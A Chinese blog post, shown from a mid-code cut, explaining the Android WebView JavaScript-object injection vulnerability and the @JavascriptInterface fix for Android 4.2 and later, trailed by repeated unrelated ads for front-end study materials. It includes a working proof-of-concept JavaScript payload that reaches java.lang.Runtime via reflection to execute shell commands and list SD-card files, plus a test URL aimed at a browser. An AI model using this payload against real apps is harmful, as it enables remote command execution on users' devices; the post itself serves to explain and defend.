Android WebView的Js对象注入漏洞解决方案

  1. getMethod(“getRuntime”,null).invoke(null,null).exec(cmdArgs);

  2. }

  3. }

  4. }

  5. var p = execute([“ls”,”/mnt/sdcard/”]);

  6. document.write(getContents(p.getInputStream()));

  7. </script>

  8. <script language=“javascript”>

  9. function onButtonClick()

  10. {

  11. // Call the method of injected object from Android source.

  12. var text = jsInterface.onButtonClick(“从JS中传递过来的文本!!!”);

  13. alert(text);

  14. }

  15. function onImageClick()

  16. {

  17. //Call the method of injected object from Android source.

  18. var src = document.getElementById(“image”).src;

  19. var width = document.getElementById(“image”).width;

  20. var height = document.getElementById(“image”).height;

  21. // Call the method of injected object from Android source.

  22. jsInterface.onImageClick(src, width, height);

  23. }

  24. </script>

  25. </head>

  26. <body>

  27. <p>点击图片把URL传到Java代码</p>

  28. <img class=“curved_box” id=“image”

  29. οnclick=“onImageClick()”

  30. width=“328”

  31. height=“185”

  32. src=“http://t1.baidu.com/it/u=824022904,2596326488&fm=21&gp=0.jpg”

  33. οnerrοr=“this.src=’background_chl.jpg’”/>

  34. </p>

  35. <button type=“button” οnclick=“onButtonClick()”>与Java代码交互</button>

  36. </body>

  37. </html>

点击图片把URL传到Java代码

<img class=“curved_box” id=“image”

οnclick=“onImageClick()”

width=“328”

height=“185”

src=“http://t1.baidu.com/it/u=824022904,2596326488&fm=21&gp=0.jpg”

οnerrοr=“this.src=‘background_chl.jpg’”/>

<button type=“button” οnclick=“onButtonClick()”>与Java代码交互

这段HTML的运行效果如下:

图一:期望运行结果图

上图中,点击 按钮后,JS中传递 一段文本到Java代码,显示一下个toast,点击 图片后,把图片的URL,width,height传到Java层,也用toast显示出来。

要实现这样的功能,就需要注Java对象。

简单说明一下

1,请看 **execute()**这个方法,它遍历所有window的对象,然后找到包含getClass方法的对象,利用这个对象的类,找到java.lang.Runtime对象,然后调用“getRuntime”静态方法方法得到Runtime的实例,再调用exec()方法来执行某段命令。

2,getContents()方法,从流中读取内容,显示在界面上。

3,关键的代码就是以下两句

[javascript] view plain copy

print ?

  1. return window[obj].getClass().forName(“java.lang.Runtime”).

  2. getMethod(”getRuntime”,null).invoke(null,null).exec(cmdArgs);

return window[obj].getClass().forName(“java.lang.Runtime”).

getMethod(“getRuntime”,null).invoke(null,null).exec(cmdArgs);

Java代码实现如下:

[java] view plain copy

print ?

  1. mWebView = (WebView) findViewById(R.id.webview);

  2. mWebView.getSettings().setJavaScriptEnabled(true);

  3. mWebView.addJavascriptInterface(new JSInterface(), “jsInterface”);

  4. mWebView.loadUrl(”file:///android_asset/html/test.html”);

mWebView = (WebView) findViewById(R.id.webview);

mWebView.getSettings().setJavaScriptEnabled(true);

mWebView.addJavascriptInterface(new JSInterface(), “jsInterface”);

mWebView.loadUrl(“file:///android_asset/html/test.html”);

需要添加的权限:

[html] view plain copy

print ?

  1. <uses-permission android:name=“android.permission.INTERNET”/>

  2. <uses-permission android:name=“android.permission.ACCESS_NETWORK_STATE” />

  3. <uses-permission android:name=“android.permission.WRITE_EXTERNAL_STORAGE” />

当点击LOAD菜单后,运行截图如下:(理论上应该出现图一界面)

图二:实际运行结果,列出了SDCard中的文件

**举例二:**360浏览器也存在这个问题,我测试的系统是android 4.0.2,360浏览器版本是:4.8.7

在浏览器输入框中输入:http://bitkiller.duapp.com/jsobj.html,然后前往,它会出现如下的界面

图三:360浏览器运行结果

说明:其中searchBoxJavaBridge_不是360注入的对象,而是WebView内部注入的,这是在3.0以后的Android系统上添加的。

在关闭这个对话框之后,它会列出当前SDCard上面的所有文件列表,如下图所示

图四:错误结果

4,解决方案


1,Android 4.2以上的系统

在Android 4.2以上的,google作了修正,通过在Java的远程方法上面声明一个@JavascriptInterface,如下面代码:

[java] view plain copy

print ?

  1. class JsObject {

  2. @JavascriptInterface

  3. public String toString() { return “injectedObject”; }

  4. }

  5. webView.addJavascriptInterface(new JsObject(), “injectedObject”);

  6. webView.loadData(”“, “text/html”, null);

  7. webView.loadUrl(”javascript:alert(injectedObject.toString())”);

class JsObject {

@JavascriptInterface

public String toString() { return “injectedObject”; }

}

webView.addJavascriptInterface(new JsObject(), “injectedObject”);

webView.loadData(“”, “text/html”, null);

webView.loadUrl(“javascript:alert(injectedObject.toString())”);

小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数初中级前端工程师,想要提升技能,往往是自己摸索成长或者是报班学习,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年Web前端开发全套学习资料》送给大家,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友,同时减轻大家的负担。

img
img
img
img

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频

如果你觉得这些内容对你有帮助,可以添加下面V无偿领取!(备注:前端)
img

最后

你要问前端开发难不难,我就得说计算机领域里常说的一句话,这句话就是『难的不会,会的不难』,对于不熟悉某领域技术的人来说,因为不了解所以产生神秘感,神秘感就会让人感觉很难,也就是『难的不会』;当学会这项技术之后,知道什么什么技术能做到什么做不到,只是做起来花多少时间的问题而已,没啥难的,所以就是『会的不难』。

开源分享:【大厂前端面试题解析+核心总结学习笔记+真实项目实战+最新讲解视频】

我特地针对初学者整理一套前端学习资料

前端路线图

ek4-1710757796094)]

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频

如果你觉得这些内容对你有帮助,可以添加下面V无偿领取!(备注:前端)
[外链图片转存中…(img-1izyd39P-1710757796095)]

最后

你要问前端开发难不难,我就得说计算机领域里常说的一句话,这句话就是『难的不会,会的不难』,对于不熟悉某领域技术的人来说,因为不了解所以产生神秘感,神秘感就会让人感觉很难,也就是『难的不会』;当学会这项技术之后,知道什么什么技术能做到什么做不到,只是做起来花多少时间的问题而已,没啥难的,所以就是『会的不难』。

开源分享:【大厂前端面试题解析+核心总结学习笔记+真实项目实战+最新讲解视频】

我特地针对初学者整理一套前端学习资料

[外链图片转存中…(img-VxKC8n7Y-1710757796095)]

vue.js的36个技巧

  • 19
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值